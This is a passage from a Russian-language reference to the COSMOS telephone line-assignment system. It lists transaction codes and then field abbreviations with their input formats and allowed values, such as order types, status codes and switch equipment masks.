LCD	Список сводки кабелей, тест LIT Demand
LCP	Список кабельных пар
LEE	Установка наряда на перенос линейного оборудования, связанного с NAC
LEW	Отзыв переноса линейного оборудования
LFC	Расчёт коэффициента нагрузки
LFR	Отчёт об отказах линий
LGN	Список групп переключения
LIN	Передача данных ALIT в COSMOS
LOE	Список исходного линейного оборудования
LSE	Установка наряда на перенос линии и оборудования
LSW	Отзыв переноса линии и оборудования
LTN	Список телефонных номеров
MAL	Список назначений вручную
MAP	Параметры назначения вручную

MAQ	Запрос к файлу назначений вручную
MAY	Изменить сборку
MCE	Создать заявку на техническое обслуживание
MCH	Изменить переключение вручную
MCL	Список изменений по техническому обслуживанию
MCR	Создать ремонтное изменение по техническому обслуживанию
MCW	Отозвать заявку на техническое обслуживание
MDC	Вручную отключить работающую схему
MEC	Вручную установить схему
MMC	Вручную изменить схему
MOC	Завершение наряда MOE
MOE	Массовая передача OE
MOF	Списки массовой передачи OE по фрейму
MOW	Отзыв наряда MOE
MPK	Изменить рабочий пакет
MSK	Вывод маски транзакции
MTR	Тест ответа вручную
NAI	Запрос о назначении телефонного номера
NOL	Список заказов на обслуживание NAC
NSD	Отображение сводки по номерам
OIJ	Наряды в состоянии задержки
OPN	Отчёт начала дня
OPU	Использование кабеля внешней сети
PAK	Рабочие пакеты
PEP	Установка позиций для абонентов
PFR	Отчёт о заполнении групповой линии

PRP	Периодическая очистка примечаний
QEX	Запросить выполнение
QUE	Очередь
RAL	Список назначений реле
RAP	Параметры назначения реле
RAS	Освободить списки порядковых номеров и связанные TN/OE
RBS	Напечатать запись назначения реле TBS
RCP	Упаковщик последних изменений
RCR	Отчёт о последних изменениях
RCS	Сводка последних изменений
RED	Редактор текста сообщений о последних изменениях
REL	Освободить неперехваченные номера по дате освобождения
REM	Удалить местоположения фрейма
RET	Переназначение местоположений фрейма
REX	Повторно выполнить заказ на обслуживание
RJR	Удалить коды причин задержки
RMP	Таблица пунктуации последних изменений
RNA	Освободить телефонные номера для назначения
ROE	Установка наряда на резервирование
ROI	Запрос наряда на резервирование
ROW	Отзыв наряда на резервирование
RTH	Отчёт о транзакциях для подсчёта свободного и DIPed линейного оборудования
RTS	Отчёт о статусе реле и телефонных номеров
RUP	Запрос внепланового процесса

SAI	Сводка элементов действий
SCA	Автоматическое завершение заказа на обслуживание
SCF	Простое завершение для MDF
SCI	Запрос о свободных кабельных парах
SCM	Стандартное завершение через MDF
SCP	Завершение заказа на обслуживание через LAC
SCR	Стандартное завершение через RCMAC
SEL	Выбор линий для изучения класса обслуживания ATC
SET	Статистика по оборудованию и телефонным номерам
SGH	Снабжение реле для групп переключения 5XB
SIR	Сортировочный запрос по диапазону
SLC	Количество абонентских линий для дополнительных функций
SOC	Отмена заказа на обслуживание
SOE	Установка заказа на обслуживание
SOF	Исправление заказа на обслуживание
SOH	Задержка заказа на обслуживание
SOI	Запрос о назначении заказа на обслуживание
SOL	Список заказов на обслуживание
SOM	Изменение ожидающего заказа на обслуживание
SOW	Отзыв заказа на обслуживание
STN	Сводка телефонных номеров
SVL	Петли наблюдения за обслуживанием
TAI	Запрос о назначении связывающей пары
TAT	Тест выравнивания терминала фрейма

TED	Текстовый редактор
TET	Отобразить или изменить файл полосового фильтра, коэффициент хранения и порог печати
TFC	Перенос изменений фрейма
TIG	Генератор ввода коммутации набора
TLC	Транслировать LANAVAR/CPS
TNS	Замена телефонных номеров
TOC	Завершение наряда на передачу
TOE	Установка наряда на передачу
TOF	Списки нарядов на передачу OE по фрейму
TOI	Запрос наряда на коммутируемую передачу
TOL	Списки нарядов на передачу
TOO	Пропуски в нарядах на передачу
TOW	Отзыв наряда на передачу
TPU	Отчёт об использовании связывающих пар
TRC	Отчёт о последних изменениях по нарядам на передачу
TRI	Запрос о назначении передающего оборудования
TRW	Полный отзыв нарядов на резервирование
TSL	Сводный отчёт по линейному оборудованию
TSN	Статистика трафика по телефонным номерам
TSW	Полный отзыв заказов на обслуживание
TTY	Получить имя TTY
TXC	Проверка текста
TXM	Управление переносом Centrex
UDP	Обновить параметры DIP
UES	Обновить сводную таблицу объектов

UFO	Неотпечатанные наряды на фрейм
UPC	Обновить таблицу CCS vs. класс обслуживания
USL	Список данных файла USOC (US)
UTC	Обновить таблицу для перепроектирования концентратора
WCC	Изменить коммутационный узел
WCT	Рабочий лист для нарядов на переброску кабеля
WFL	Рабочее местоположение фрейма
WOI	Запрос рабочего наряда
WOL	Список рабочих нарядов
WPT	Таблица рабочих пакетов
WSL	Список статусов работ
WUL	Отчёт о рабочих единицах для тестирования и назначения абонентских линий

Аббревиатуры и форматы COSMOS

Ниже приведены аббревиатуры в следующем формате:

```
AC   Категория сборки (Assembly category)
     AC XXXX
     PERM=Постоянные сборки объектов
     TEMP=Временные сборки объектов

AC   Код сборки (Assembly Code)
     AC XXX
     XXX=1-999

ADSR Административный контроль услуг (Administration of Designed Services Review)
     ADSR X
     Y=Да, схема TIRKS
     N=Нет, схема COSMOS

AGM  Нормальное количество месяцев старения
     AGM XX
     XX=Количество месяцев

AGT  Ускоренный тип старения
     AGT XXX
     BUS=Бизнес
     RES=Жилой

AI   Инициалы назначающего
```

AI XXX
XXX=3 буквенно-цифровых символа

AO Порядок распределения
AO XX
XX=Два числовых символа

AR Предварительное реле
AR XYY-ZZZ
X=Группа маркеров
YY=Группа номеров с фрейма
ZZZ=Номер реле

ATN Телефонный номер назначающего
ATN XXX-XXXX
XXX-XXXX=TN назначающего

BL Усилитель моста (Bridge Lifter)
BL XX...XX
XX...XX=Максимум 17 буквенно-цифровых символов

BLS Статус усилителя моста
BLS X
Y=Да
N=Нет

BND Номер полосы
BND X
X=0-3

BTN Расчётный телефонный номер
BTN XXX-XXXX
XXX-XXXX=Расчётный телефонный номер

CA Номер кабеля
CA XX...XX
XX...XX=Максимум 10 буквенно-цифровых символов

CAT Параметр доступа Centrex
CAT XX
XX=Максимум 2 числовых символа

CC Количество вызовов
CC XX
XX=Максимум 2 числовых символа

CCF Дополнительные функции звонка
CCF XXXXXX
XXXXXX=3-6 буквенно-цифровых символов

CCS Сотни секунд вызовов
CCS XXXX
XXXX=3 или 4 числовых символа

CEU Оценочное использование CCS
CEU XXXX
XXXX=3 или 4 числовых символа

CG Номер контрольной группы
CG X
X=0-9

CKID Идентификация схемы
CKID XX...XX
XX..XX=Максимум 61 буквенно-цифровой символ

CKL Местоположение схемы
CKL XXXX
XXXX=Максимум 4 буквенно-цифровых символа

CLC Общеязыковой код объекта

```
     CLC XX...XX
     XX...XX=Максимум 11 буквенно-цифровых символов

CLCI Общеязыковая идентификация схемы
     CLCI XX...XX
     XX...XX=Максимум 61 буквенно-цифровой символ

CLEI Общеязыковой идентификатор оборудования
     CLEI XX...XX
     XX...XX=Максимум 10 буквенно-цифровых символов

CLF  Верхний коэффициент нагрузки при создании DIP
     CLF XX
     XX=1-10

CLL  Нижний коэффициент нагрузки при создании DIP
     CLF X
     X=1-9

CLS  CLCI в формате серийного номера
     CLS XX...XX
     XX..XX=Максимум 61 буквенно-цифровой символ

CLT  CLCI в формате телефонного номера
     CLT XX...XX
     XX...XX=Максимум 61 буквенно-цифровой символ

CMF  Заполнение основной станции по мощности
     CMF XXXXXX
     XXXXXX=Максимум 6 числовых символов

CMU  Измеренное использование CCS
     CMU XXXX
     XXXX=3 или 4 числовых символа

COM  Размер дополнения
     COM XXXX
     XXXX=1-9999

CON  Концентратор
     CON XX-YY
     XX=Максимум 2 буквенно-цифровых символа
     YY=Максимум 2 числовых символа

CP   Номер кабеля и пары
     CP XX...XX-YZZZ
     XX...XX=ID кабеля, максимум 10 буквенно-цифровых символов
     YZZZ=ID кабельной пары
     Y=Буквенно-цифровой
     ZZZ=Числовой

CPU  Использование мощности CCS
     CPU XXXX
     XXXX=3 или 4 числовых символа

CRG  Метка CREG
     CRG XXX
     XXX=YES или NO

CS   Класс обслуживания абонента
     CS XXXXXX
     XXXXXX=Максимум 6 буквенно-цифровых символов

CTID Идентификация окончания схемы
     CTID XX...XX
     XX...XX=Максимум 61 буквенно-цифровой символ

CTT  Метка сквозного подключения
     CTT XXX
     XXX=YES или NO
CTX  Номер группы Centrex
```

```
     CTX XXXX
     XXXX=Максимум 4 числовых символа

DC   Код набора
     DC X
     X=1 буквенный символ

DD   Дата выполнения
     DD MM-DD-YY
     MM=Месяц
     DD=День
     YY=Год

DID  Прямой входящий набор
     DID XXXX
     XXXX=Максимум 4 числовых символа

DIP  Опция создания DIP
     DIP X
     Y=Да
     N=Нет

DNY  Отказ в обслуживании за неплатёж
     DNY X
     I=Входящий
     O=Исходящий
     B=Оба направления

DPA  Адрес другого объекта
     DPA XXX
     XXX=Максимум 3 буквенно-цифровых символа

DPT  Название отдела
     DPT XXX
     XXX=Максимум 3 буквенно-цифровых символа

DST  Адресат ответа на наряд
     DST XXXX
     XXXX=Максимум 4 буквенно-цифровых символа

DT   Время выполнения
     DT XX
     XX=AM, PM или 0-9

EC   Объект ESS и номер контрольной группы
     EC YZ
     Y=Номер объекта
     Z=Идентификатор контрольной группы

ECS  Класс обслуживания оборудования
     ECS XXXXXX
     XXXXXX=Максимум 6 буквенно-цифровых символов

ED   Дата ввода
     ED MM-DD-YY
     MM=Месяц
     DD=День
     YY=Год

EN   Объект
     EN X
     X=S, E, 1, 5 или 0

EN   Номер объекта
     EN X
     X=0-9

ENT  Номер объекта
     ENT X
     X=0-9
EO   Опция обработки ошибок
```

```
     EO XX
     CE=Продолжить обработку и установить допустимые схемы
     CW=Продолжить обработку и отозвать установленные схемы
     SE=Остановить обработку и установить допустимые схемы
     SW=Остановить обработку и отозвать установленные схемы

EQF  Функции оборудования
     EQF WXYZ
     W=R (Дисковый) или T (Тональный)
     Y=S (Муфта) X (Расширение диапазона) или N (Без муфты/расширения)
     X=E (Важный) или N (Неважный)
     Z=G (Заземлённый запуск) или L (Петлевой запуск)

EQV  Эквивалентность фрейма
     EQV FXX
     F=Буква "F"
     XX=Два буквенно-цифровых символа

ETC  Оценочное значение CCS магистрали
     ETC XXXX
     XXXX=Максимум 4 буквенно-цифровых символа

EXD  Опция перекрёстной загрузки ECS
     EXD XXX
     XXX=YES или NO

FAC  Тип проверяемого списка сегментов
     FAC XX
     TN=Телефонный номер
     OE=Линейное оборудование

FAC  Конфигурация схемы
     FAC XXX          или
     FAC TN-NNX       или
     FAC CP-XX...X    или
     FAC SE-YY...Y    или
     FAC PL-ZZ...Z
     XXX=Любой префикс объекта
     NNX=Три буквенно-цифровых символа
     XX...XX=Максимум 10 буквенно-цифровых символов
     YY...YY=Максимум 52 буквенно-цифровых символа
     ZZ...ZZ=Максимум 61 буквенно-цифровой символ

FC   Исходный кабель
     FC XX...XX
     XX...XX=Максимум 10 буквенно-цифровых символов

FDD  Дата выполнения работ по фрейму
     FDD MM-DD-YY
     MM=Месяц
     DD=День
     YY=Год

FEA  Функция абонента
     FEA XXXX
     (то же, что EQF)

FILT Фильтр
     FILT XXX
     XXX=Y, YES, N или NO

FR   Идентификация фрейма
     FR FXX
     F=Буква "F"
     XX=Два буквенно-цифровых символа

FT   Время фрейма
     FT XX
     XX=01-24

FW   Вывод MDF подавлен
```

```
     FW X
     Y=Работы по фрейму — Да
     N=Работы по фрейму — Нет

GP   Номер группы MLHG
     GP Y-XXXX
     Y=Буквенно-цифровая контрольная группа
     XXXX=Числовой номер группы

GSO  Опция заземлённого запуска
     GSO X
     1=Назначено любому OE в объекте
     2=Назначено чётным уровням
     3=Назначено только OE с заземлённым запуском

HC   Количество переключений
     HC XXXX
     XXXX=Максимум 4 числовых символа

HF   Телефонный номер «от» в переключении
     HF XXX-XXXX
     XXX-XXXX=Телефонный номер

HLC  Количество групп с наибольшим коэффициентом нагрузки
     HLC XXXX
     XXXX=1-9999

HR   Код причины задержки наряда
     HR XX
     CE=Нехватка оборудования
     CF=Отсутствие объекта
     CL=Нагрузка на сеть
     CO=Общие причины компании
     C1-C5=Дополнительные причины компании
     SA=Доступ абонента
     SL=Абонент запросил более позднюю дату
     SO=Общие причины абонента
     SR=Абонент не готов
     S1-S5=Дополнительные общие причины абонента

HRS  Префикс часов
     HRS XX
     XX=01-24

HT   Телефонный номер «к» в переключении
     HT XXX-XXXX
     XXX-XXXX=Телефонный номер

HTG  Номер группы «к» в переключении
     HTG Y-XXXX
     Y=Буквенно-цифровая контрольная группа
     XXXX=Числовой номер группы

HTX  X-номер «к» в переключении
     HTX XXX-YYXX или
     HTX XXX-YXX
     Y=Буквенно-цифровой
     X=Числовой

INIT Инициализация таблицы распределения
     INIT
     (Ввод данных не требуется)

ITM  Порядковый номер кабельной пары
     ITM XX
     XX=Два числовых символа

JL   Длина перемычки
     JL XXX
     XXX=Максимум 3 числовых символа
JR   Причина задержки
```

```
     JR XX
     A1=Ошибка назначения CP
     A2=Ошибка назначения OE
     A3=Ошибка назначения TN
     A4-A9=Другая ошибка назначения
     C1=Нет SSWO для группы проектирования схем
     C2-C9=Локальный код для группы проектирования схем
     E1-E9=Нет трансляций ESS
     IB=Нет разрешения на установку для бизнеса
     IC=Нет разрешения на установку для монетных телефонов
     ID=Нет разрешения на установку для данных
     IR=Нет разрешения на установку для жилых
     IS=Нет разрешения на установку для специальных
     I1-I4=Локальные коды для отсутствия разрешения на установку
     RB=RSB для бизнеса
     RC=RSB для монетных телефонов
     RD=RSB для данных
     RR=RSB для жилых
     RS=RSB для специальных
     R1-R4=Локальное использование для RSB

LC   Количество выходных строк
     LC XXXX
     XXXX=0-9999

LC   Количество строк
     LC XXX
     XXX=0-999

LC   Количество ожидающих заказов на обслуживание
     LC
     (Ввод данных не требуется)

LCC  Код класса линии
     LCC XXX
     XXX Максимум 3 буквенно-цифровых символа

LD   Дивизион нагрузки
     LD XX
     XX=Два числовых символа

LDN  Указанный номер в справочнике
     LDN XXX-XXXX
     XXX-XXXX=Телефонный номер

LF   Коэффициент нагрузки
     LF XX
     XX=1-10

LIM  Меньше указанного количества пар
     LIM XX
     XX=0-50

LIM  Верхний предел числа пар с заданным статусом в дополнении
     LIM XX
     XX=0-50

LIM  Нижний предел числа свободных линейных блоков в вертикальных файлах
     LIM XX
     LIM=1-10

LLC  Количество групп с малой нагрузкой
     LLC XXXX
     XXXX=0-9999

LOC  Местоположение
     LOC FXXYYY
     F=Буква "F"
     XX=Буквенно-цифровой
     YYY=001-999
LP   Диапазон петли
```

```
     LP XXX;XXX
     XXX;XXX=Шесть числовых символов

LS   Список новых ожидающих кабельных передач
     LS XXX
     XXX=NEW

LTI  Идентификатор окончания петли
     LTI XXX
     XXX=Три буквенно-цифровых символа

MASK Маска офисного оборудования
     MASK OE ID
     ID=XXX-XXX-XXX    =1ESS
     ID=XXX-XXXX       =2ESS
     ID=XXX-XXXX       =3ESS
     ID=XXXX-XXX-XX    =5ESS
     ID=XXXX-XX-XX     =5ESS
     ID=XXXX-X-XXXX    =RSS
     ID=XXXX-XXX-XX    =1XB
     ID=XXXX-XXXX-XX   =1XB
     ID=XXX-XX-XX      =5XB
     ID=XXXX-XXX       =SXS
     ID=XXX-X-XX-X     =DMS-10
     ID=XXX-X-XX-XX    =DMS-100
     X=Буквенно-цифровой

MAT  Метка ручной помощи
     MAT XXX
     XXX=YES или NO

MAX  Максимальный процент заполнения объекта или максимальное значение CCS
     MAX XXX
     XXX=Максимум 3 числовых символа

MBL  Метка мини-усилителя моста
     MBL XX
     Y=MBL работает на CP
     N=CP не поддерживает MBL
     EQ=CP имеет возможности MBL

MC   Класс обслуживания маркера
     MC XX
     XX=Два буквенно-цифровых символа

MF   Формат сообщения о последнем изменении
     MF XXXX
     NEW=RX:LINE:messages
     OUT=RC:LINE:OUT:messages
     CHG=RC:LINE:CHG:messages
     SUSP=RC:LINE:CHG:messages для приостановленного обслуживания

MF   Листинг перемычек для MDF
     MF XXX
     NEW=Листинг действующих перемычек
     DJ=Листинг неиспользуемых перемычек

MF   Формат сообщения при завершении передачи схем через TOC
     MF XXX
     ALL=Сообщение печатается для каждой схемы в диапазоне
     ERR=Сообщение печатается только для незавершённых схем

MF   Формат сообщения для списков номеров коммутируемой передачи
     MF XXX
     GVR=Формат вывода GFR транзакции, один объект в строке
     LVT=Формат теста проверки линии
     TLC=Двухстрочный сжатый формат

MG   Номер группы маркеров
     MG X
     X=0-9
```

MIN Минимальный процент заполнения объекта или минимальное значение CCS
     MIN XXX
     XXX=Максимум 3 числовых символа

MLP Порог зоны сопротивления многопетлевого контура
     MLP XX
     XX=Два числовых символа

MOD Номер модуля
     MOD XXX
     XXX=Три числовых символа

MODE Режим интегрированного SLC для 5ESS
     MODE X
     1=5 каналов T1 Carrier
     2=3 канала T1 Carrier

MPN Номер главного рабочего пакета
     MPN XXXX
     XXXX=1-9999

MR   Счётчик сообщений
     MR XXXXXX
     XXXXXX=Максимум 6 буквенно-цифровых символов

MRO Опция счётчика сообщений
     MRO XXX
     XXX=YES или NO

MT   Номер блока главной записи или лентопротяжный механизм для записи
     MT X
     X=Числовой

MTR Лентопротяжный механизм для чтения
     MTR X
     X=Числовой

MTW Лентопротяжный механизм для записи
     MTW X
     X=Числовой

NAR Проверка назначения NAC
     NAR XXX
     XXX=Максимум 3 числовых символа

NGF Фрейм группы номеров для 5XB
     NGF XXX
     XXX=Три числовых символа

NNX Код АТС телефона
     NNX XXX
     XXX=Три числовых символа

NOE Количество назначаемых OE
     NOE X
     X=0 или 1

NPA Код зоны и номер АТС
     NPA XXXXXX
     XXXXXX=Шесть буквенно-цифровых символов

NRM Нормализующее значение CCS
     NRM XX
     XX=0-99

NTN Количество назначаемых TN
     NTN X
     X=0 или 1

OA   Опция назначения линейного оборудования
     OA X

Y=Да
N=Нет

OC Категория наряда
OC XXX
ACT=Заявка на изменение назначения
ALL=Все коэффициенты нагрузки OE
CPC=Специальное обслуживание
FM=Подсчёт с момента ввода функций OE
FO=Подсчёт всех вхождений функций OE
HOT=Срочный вывод фрейма
JR=Причина задержки

OCS Старый класс обслуживания
OCS XXXXXX
XXXXXX=Максимум 6 буквенно-цифровых символов

OD Устройство вывода
OD XXXX
TT=Отправить вывод на текущий терминал
TTXX=Отправить вывод на указанный терминал XX
MTX=Отправить вывод на магнитную ленту X

OE Номер офисного оборудования
OE ID
(см. MASK)

OGO Только исходящая магистраль
OGO XXX
XXX=Максимум 4 числовых символа

OPT Опция назначения участников
OPT X
1=Назначить многоабонентских клиентов на свободное оборудование для участников
2=Назначить многоабонентского клиента на частично оснащённое оборудование для участников
3=Назначить только одного многоабонентского клиента на каждое однопользовательское оборудование

ORD Заказ на обслуживание или рабочий наряд
ORD XX...XX
XX...XX=Максимум 20 буквенно-цифровых символов

OT Тип заказа на обслуживание или рабочего наряда
OT XXX
BT=Фоновая передача
CD=Полное отключение
CH=Изменено
CIO=Наряды по инициативе компании
F="OT"
LET=Переносы линейного оборудования
LST=Переносы линии и оборудования
MCE=Техническое изменение через LAC
MCR=Техническое изменение по ремонту
MCT=Все технические изменения
NC=Новое подключение
R=Примечания
REA=Ожидающее переназначение
SW=Замена
T="K"

PBX Учрежденческая АТС
PBX XXXX
XXXX=Максимум 4 числовых символа

PCID Первичная идентификация схемы
PCID XX...XX
XX...XX=Максимум 61 буквенно-цифровой символ

PKT Значения ограждения
PKT XXX.X,...,XXX.X
XXX.X,...,XXX.X=Девять наборов из четырёх числовых символов или
N=Нет новых значений

PL Номер линии частного пользования
    PL XX...XX
    XX...XX=Максимум 61 буквенно-цифровой символ

PNL Список номеров PREMIS для TN
    PNL XX...XX
    XX...XX=Максимум 12 буквенно-цифровых символов

POP Опция печати линейного оборудования
    POP XXX
    CNC=Концентратор — 1ESS, 2ESS, 3ESS, RSS
    CNG=Группа концентраторов — 2ESS, 3ESS
    HG=Горизонтальная группа — 5XBAR
    IM=Интерфейсный модуль — 5ESS
    LFG=Группа линейных искателей — SXS
    LLF=Фрейм линейных связей — 5XBAR
    LLN=Сеть линейных связей — 1ESS
    LTN=Сеть линейных магистралей — 2ESS
    LU=Модуль блока связей — 5ESS
    QC=Четверть выбора — 1XBAR
    SW=Коммутатор — 1XBAR
    VF=Вертикальный файл — 5XBAR

PR ID кабельной пары
    PR YXXX
    Y=Буквенно-цифровой
    XXX=Числовой

PRI Приоритет фрейма
    PRI XX
    XX=Два числовых символа

PRP Постоянные примечания к кабельной паре
    PRP XX...XX
    XX...XX=Максимум 14 буквенно-цифровых символов

PRZ Предпочтительная зона тарифа
    PRT X
    X=Числовой

PS Индикатор ранее опубликованного/неопубликованного объекта
    PS X
    N=Неопубликованный
    !=Опубликованный

PT Время пакета
    PT XXX
    XXX=Три числовых символа

PTY Номер или позиция участника
    PTY X
    X=1-4

PTY Индикатор участника
    PTY X
    R=Зарезервировано
    O=Открыто

PWC Коммутационный узел PREMIS
    PWC XX...XX
    XX...XX=Максимум 8 буквенно-цифровых символов

PWC Код рабочей печати
    PWC XXX
    NBT=Нет обратного ответвления
    COM=Фрейм завершён
    PBT=Печать обратного ответвления
    RCT=Разместить тепловые катушки на паре "K"
    RBT=Удалить обратное ответвление
    RCF=Удалить тепловые катушки на паре "OT"
    VBT=Проверить обратное ответвление

```
     USX=Локально определённые коды (X=1-4)

RAP  Приоритет ротационного назначения
     RAP X
     X=Числовой

RCT  Тип последнего изменения
     RCT XX
     1=Офис 1ESS
     1A=Офис 1AESS
     2=2ESS (LO1)
     2E=2ESS (EF1 и EF2)
     3=3ESS
     5T=5ESS

RCW  Ключевое слово последнего изменения
     RCW XX...XX
     XX...XX=Максимум 20 буквенно-цифровых символов

RD   Дата выпуска
     RD MM-DD-YY
     MM=Месяц
     DD=День
     YY=Год

RDG  Показание счётчика сообщений
     RDG XXXX
     XXXX=Четыре числовых символа

REC  Имя и номер файла записи
     REC FFXXXXXX
     FF=Имя файла (буквенно-цифровое)
     XXXXXX=Номер записи (максимум 6 числовых символов)

REP  Опция повторной печати
     REP X
     Y=Да
     N=Нет

RESP Отправить запрошенный ответ
     RESP X
     S=Запрошенный ответ

REW  Статус переработки
     REW X
     Y=Да
     N=Нет

RLF  Верхний коэффициент нагрузки при повторном использовании DIP
     RLF X
     X=1-9

RLO  Наличие автоматического назначения реле
     RLO X
     Y=Да
     N=Нет

RLY  Прочее реле
     RLY XX...XX
     XX...XX=Максимум 10 буквенно-цифровых символов

RMK  Примечания к нарядам
     RMK XX...XX
     XX...XX=Максимум 28 буквенно-цифровых символов

RMKG Примечания к группе переключения
     RMKG XX...XX
     XX...XX=Максимум 30 буквенно-цифровых символов

RMKO Примечания к офисному оборудованию
     RMKO XX...XX
```

```
     XX...XX=Максимум 12 буквенно-цифровых символов

RMKP Примечания к кабельной паре
     RMKP XX...XX
     XX...XX=Максимум 14 буквенно-цифровых символов

RMKT Примечания к телефонному номеру
     RMKT XX...XX
     XX...XX=Максимум 14 буквенно-цифровых символов

RNO  Номер подобъекта RSS
     RNO XX
     XX=01-63

RTI  Индекс маршрута
     RTI XXXX
     XXXX=Максимум 4 числовых символа

RTYP Тип реле
     RTYP XXX
     TBA=Вспомогательное реле тысячного блока
     SC=Подключение муфты
     AR=Предварительное

RTZ  Зона тарифа
     RTZ X
     X=Числовой

RW   Работа по последнему изменению
     RW X
     N=Сообщение о последнем изменении не требуется
     C=Требуется согласование последнего изменения

RZ   Зона сопротивления
     RZ XX
     XX=Два числовых символа

SBS  Подстатус
     SBS X
     A=Перевод в зону
     C=Сквозное подключение
     D=Выделенный
     L=Сквозное подключение и выделенный
     !=Пусто

SC   Реле подключения муфты
     SC SYY-ZZZ
     S=Группа маркеров (числовой)
     YY=Фрейм группы номеров (числовой)
     ZZZ=Номер реле (числовой)

SE   Номер оборудования специальных услуг
     SE XX...XX
     XX...XX=Максимум 52 буквенно-цифровых символа

SET  Метка единственного объекта
     SET X
     Y=CP обслуживается единственным объектом на одном фрейме
     !=CP может обслуживаться более чем одним объектом

SG   Сегмент обслуживания
     SG X
     B=Бизнес
     C=Монетный телефон
     D=Данные
     R=Жилой
     S=Специальный

SGN  Общеязыковой номер сегмента
     SGN XXX
     XXX=Максимум 3 буквенно-цифровых символа
```

SIS Дополнительный специальный идентификационный телефонный номер
     SIS XXXX
     XXXX=Максимум 4 числовых символа

SIT Специальный идентификационный телефонный номер
     SIT XXX-YYY-XXXX
     X=Числовой
     Y=Числовой

SK   Опция пропуска
     SK X
     X=0 или 2-9

SN   Порядковый номер
     SN XXX
     XXX=1-999

SOB Метка наблюдения за обслуживанием
     SOB XXX
     XXX=YES или NO

SS   Статус приостановки
     SS XX
     DB=Запрет в обоих направлениях
     DI=Запрет входящих
     DO=Запрет исходящих
     RS=Восстановление приостановленной схемы
     SB=Приостановка в обоих направлениях
     SD=Сезонное отключение
     SI=Приостановка входящих
     SO=Приостановка исходящих
     DX=Запрет дальней связи

SSV Тип приостановки обслуживания
     SSV XX
     DO=Запрет исходящего обслуживания
     DB=Запрет исходящего и входящего обслуживания
     DX=Запрет доступа к дальней связи
     RS=Восстановление запрещённого обслуживания

STAT Статус наряда
     STAT XX
     AC=Ожидающий без завершения фрейма или установки
     FC=Ожидающий с завершением фрейма без завершения установки
     IC=Ожидающий с завершением установки без завершения фрейма
     CC=Завершённые наряды
     CA=Отменённые наряды

STAT Статус объекта
     STAT XX
     AS=Все свободны
     EX=Исключено
     PC=Ожидает подключения
     RS=Зарезервировано
     SF=Свободный объект
     UK=Неизвестно
     WK=Работает

STAT Статус группы нагрузки
     STAT XX
     EX=Заблокировано для всех назначений
     FU=Открыто только для назначений коммутируемой передачи
     PS=Только назначения псевдо-LEN
     SO=Открыто только для заказов на обслуживание и рабочих нарядов
     WK=Открыто для всех назначений

STO Статус линейного оборудования
     STO XX
     AW=Все работают
     MS=Прочее
     OF=Официальный

```
     TJ=Магистраль и соединитель
     TS=Тестовый
     WK=Работает
     PD=Ожидает отключения
     PK=Ожидает отключения/Ожидает нового подключения
     AS=Все свободны
     EX=Исключено
     LI=Оставлено при отключении
     RS=Зарезервировано
     SF=Резервный
     UK=Неизвестно
     PC=Ожидает подключения

STP  Статус кабеля и пары
     STP XX
     AL=Все пары
     AD=Все дефектные
     AP=Все выделенные
     AW=Все работающие
     DC=Спроектированная схема
     DI=Дефектный (I=1-9)
     DM=Спроектированный + SSM
     DP=Спроектированный + SSP
     SM=Специальные защитные меры
     SP=Специальная защита
     SS=Специальный статус
     WK=Работает
     AS=Все свободны
     EX=Исключено
     LI=Оставлено при отключении
     RS=Зарезервировано
     SF=Резервный
     UK=Неизвестно
     PC=Ожидает подключения
     PD=Ожидает отключения

STT  Статус телефонного номера
     STT XX
     AU=Вспомогательный
     AW=Все работают
     MS=Прочее
     NP=Неопубликованный
     OF=Официальный
     TJ=Магистраль и соединитель
     TS=Тестовый
     WK=Работает
     AS=Все свободны
     AV=Доступен
     CM=Изменён — Машинный перехват
     CO=Изменён — Операторский перехват
     DM=Отключён — Машинный перехват
     DO=Отключён — Операторский перехват
     EX=Исключено
     RS=Зарезервировано
     SF=Резервный
     UK=Неизвестно
     PC=Ожидает подключения
     PD=Ожидает отключения
     PK=Ожидает отключения/Ожидает нового подключения

SUBL Субарендованное обслуживание
     SUBL XXX-XXXX
     XXX-XXXX=Телефонный номер

SWC  Установить рабочий код
     SWC XXX
     (см. Код рабочей печати)

SWG  Группа коммутаторов
     SWG X
     X=0-2
```

SYS Номер машины
     SYS XX...XX
     XX...XX=Максимум 12 буквенно-цифровых символов

TA   Передача сборки
     TA X
     Y=Да
     N=Нет

TAP Номер приоритета тонального назначения
     TAP X
     X=Числовой

TBA Реле TBA
     TBA XYY-ZZZ
     X=Номер группы маркеров (числовой)
     YY=Фрейм группы номеров (числовой)
     ZZZ=Номер реле (числовой)

TBS Реле TBS
     TBS XZ-NN
     X=Номер группы маркеров (0-9)
     Z=Номер реле (0-3)
     NN=Комбинация вызывного тока (01-16)

TC   Целевой кабель
     TX XX...XX
     XX...XX=Максимум 10 буквенно-цифровых символов

TER Терминал
     TER XXXX
     XXXX=Максимум 4 числовых символа

TER Номер терминала
     TER Y-XXXX-ZZZZ
     Y=Контрольная группа (буквенно-цифровая)
     XXXX=Номер группы (числовой)
     ZZZZ=Номер терминала (числовой)

THG Группа тысяч
     THG X или
     THG XXXX
     X=0-9
     XXXX=0000,1000,...,9000

TK   Номер кабеля магистрали и пары
     TK YYYYYY-XXXX
     YYYYYY=ID кабеля (максимум 6 буквенно-цифровых символов)
     XXXX=ID кабельной пары (максимум 4 числовых символа)

TLI Идентификатор телефонной линии
     TLI XXX-YYY-XXXX
     X=Числовой
     Y=Буквенно-цифровой

TN   Телефонный номер
     TN XXX-XXXX
     XXX-XXXX=Телефонный номер

TOM Два или более непендинговых, неабонентских отфильтрованных объектов схемы
     TOM XX
     CP=Кабельная пара
     TN=Телефонный номер
     OE=Офисное оборудование

TP   Связывающая пара
     TP YY...YY-XXXX
     YY...YY=ID кабеля (максимум 10 буквенно-цифровых символов)
     XXXX=ID связывающей пары (максимум 4 числовых символа)

TPR Код коничности

```
     TPR XXXXXX
     XXXXXX=Максимум 6 буквенно-цифровых символов

TRE  Передающее оборудование
     TRE XX...XX
     XX...XX=Максимум 17 буквенно-цифровых символов

TT   Тип телефонного номера
     TT X
     B=POTS с переключением
     C=Монетный телефон
     G=Комплексное обслуживание (DID, Radio Common Carrier и т. д.)
     O=Официальный
     Q=Centrex
     X=POTS без переключения

TTA  Зона завершающего трафика
     TTA XXX
     XXX=Максимум 3 буквенно-цифровых символа

TYP  Тип коммутации
     TYP XXX
     1ES=Номер 1ESS
     2ES=Номер 2ESS
     3ES=Номер 3ESS
     5ES=Номер 5ESS
     RSS=Дистанционная коммутационная система
     1XB=Крест-коммутатор номер 1
     5XB=Крест-коммутатор номер 5
     SXS=Шаговый
     DMX=DMS-10
     DMC=DMS-100

US   USOC
     US XXXXX
